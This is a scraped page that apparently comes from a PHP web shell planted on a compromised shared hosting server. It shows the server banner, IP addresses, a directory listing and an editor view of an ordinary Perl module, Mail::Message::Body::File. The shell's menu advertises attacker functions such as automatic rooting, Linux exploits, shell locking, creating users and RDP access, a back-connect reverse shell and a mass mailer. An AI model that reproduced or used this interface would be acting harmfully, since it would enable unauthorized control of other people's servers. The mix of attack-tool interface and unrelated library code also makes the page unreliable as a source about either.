Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Mail /
Message /
Body /
[ HOME SHELL ]
Name
Size
Permission
Action
Construct.pm
3.49
KB
-rw-r--r--
Construct.pod
4.8
KB
-rw-r--r--
Delayed.pm
2.47
KB
-rw-r--r--
Delayed.pod
4.75
KB
-rw-r--r--
Encode.pm
8.54
KB
-rw-r--r--
Encode.pod
6.61
KB
-rw-r--r--
File.pm
5.07
KB
-rw-r--r--
File.pod
11.76
KB
-rw-r--r--
Lines.pm
2.89
KB
-rw-r--r--
Lines.pod
11.41
KB
-rw-r--r--
Multipart.pm
10.81
KB
-rw-r--r--
Multipart.pod
16.86
KB
-rw-r--r--
Nested.pm
3.39
KB
-rw-r--r--
Nested.pod
12.43
KB
-rw-r--r--
String.pm
2.91
KB
-rw-r--r--
String.pod
11.47
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : File.pm
# Copyrights 2001-2022 by [Mark Overmeer <markov@cpan.org>]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.03. # This code is part of distribution Mail-Message. Meta-POD processed with # OODoc into POD and HTML manual-pages. See README.md # Copyright Mark Overmeer. Licensed under the same terms as Perl itself. package Mail::Message::Body::File; use vars '$VERSION'; $VERSION = '3.012'; use base 'Mail::Message::Body'; use strict; use warnings; use Mail::Box::Parser; use Mail::Message; use Carp; use File::Temp qw/tempfile/; use File::Copy qw/copy/; sub _data_from_filename(@) { my ($self, $filename) = @_; local $_; local (*IN, *OUT); unless(open IN, '<:raw', $filename) { $self->log(ERROR => "Unable to read file $filename for message body file: $!"); return; } my $file = $self->tempFilename; unless(open OUT, '>:raw', $file) { $self->log(ERROR => "Cannot write to temporary body file $file: $!"); return; } my $nrlines = 0; while(<IN>) { print OUT; $nrlines++ } close OUT; close IN; $self->{MMBF_nrlines} = $nrlines; $self; } sub _data_from_filehandle(@) { my ($self, $fh) = @_; my $file = $self->tempFilename; my $nrlines = 0; local *OUT; unless(open OUT, '>:raw', $file) { $self->log(ERROR => "Cannot write to temporary body file $file: $!"); return; } while(my $l = $fh->getline) { print OUT $l; $nrlines++; } close OUT; $self->{MMBF_nrlines} = $nrlines; $self; } sub _data_from_glob(@) { my ($self, $fh) = @_; my $file = $self->tempFilename; my $nrlines = 0; local $_; local *OUT; unless(open OUT, '>:raw', $file) { $self->log(ERROR => "Cannot write to temporary body file $file: $!"); return; } while(<$fh>) { print OUT; $nrlines++; } close OUT; $self->{MMBF_nrlines} = $nrlines; $self; } sub _data_from_lines(@) { my ($self, $lines) = @_; my $file = $self->tempFilename; local *OUT; unless(open OUT, '>:raw', $file) { $self->log(ERROR => "Cannot write to $file: $!"); return; } print OUT @$lines; close OUT; $self->{MMBF_nrlines} = @$lines; $self; } sub clone() { my $self = shift; my $clone = ref($self)->new(based_on => $self); copy($self->tempFilename, $clone->tempFilename) or return; $clone->{MMBF_nrlines} = $self->{MMBF_nrlines}; $clone->{MMBF_size} = $self->{MMBF_size}; $self; } sub nrLines() { my $self = shift; return $self->{MMBF_nrlines} if defined $self->{MMBF_nrlines}; my $file = $self->tempFilename; my $nrlines = 0; local $_; local *IN; open IN, '<:raw', $file or die "Cannot read from $file: $!\n"; $nrlines++ while <IN>; close IN; $self->{MMBF_nrlines} = $nrlines; } #------------------------------------------ sub size() { my $self = shift; return $self->{MMBF_size} if exists $self->{MMBF_size}; my $size = eval { -s $self->tempFilename }; $size -= $self->nrLines if $Mail::Message::crlf_platform; # remove count for extra CR's $self->{MMBF_size} = $size; } sub string() { my $self = shift; my $file = $self->tempFilename; local *IN; open IN, '<:raw', $file or die "Cannot read from $file: $!\n"; my $return = join '', <IN>; close IN; $return; } sub lines() { my $self = shift; my $file = $self->tempFilename; local *IN; open IN, '<:raw', $file or die "Cannot read from $file: $!\n"; my @r = <IN>; close IN; $self->{MMBF_nrlines} = @r; wantarray ? @r: \@r; } sub file() { open my $tmp, '<:raw', shift->tempFilename; $tmp; } sub print(;$) { my $self = shift; my $fh = shift || select; my $file = $self->tempFilename; local $_; local *IN; open IN, '<:raw', $file or croak "Cannot read from $file: $!\n"; if(ref $fh eq 'GLOB') {print $fh $_ while <IN>} else {$fh->print($_) while <IN>} close IN; $self; } sub read($$;$@) { my ($self, $parser, $head, $bodytype) = splice @_, 0, 4; my $file = $self->tempFilename; local *OUT; open OUT, '>:raw', $file or die "Cannot write to $file: $!.\n"; (my $begin, my $end, $self->{MMBF_nrlines}) = $parser->bodyAsFile(\*OUT,@_); close OUT; $self->fileLocation($begin, $end); $self; } # on UNIX always true. Expensive to calculate on Windows: message size # may be off-by-one in rare cases. sub endsOnNewline() { shift->size==0 } #------------------------------------------ sub tempFilename(;$) { my $self = shift; @_ ? ($self->{MMBF_filename} = shift) : $self->{MMBF_filename} ? $self->{MMBF_filename} : ($self->{MMBF_filename} = (tempfile)[1]); } #------------------------------------------ sub DESTROY { unlink shift->tempFilename } #------------------------------------------ 1;
Close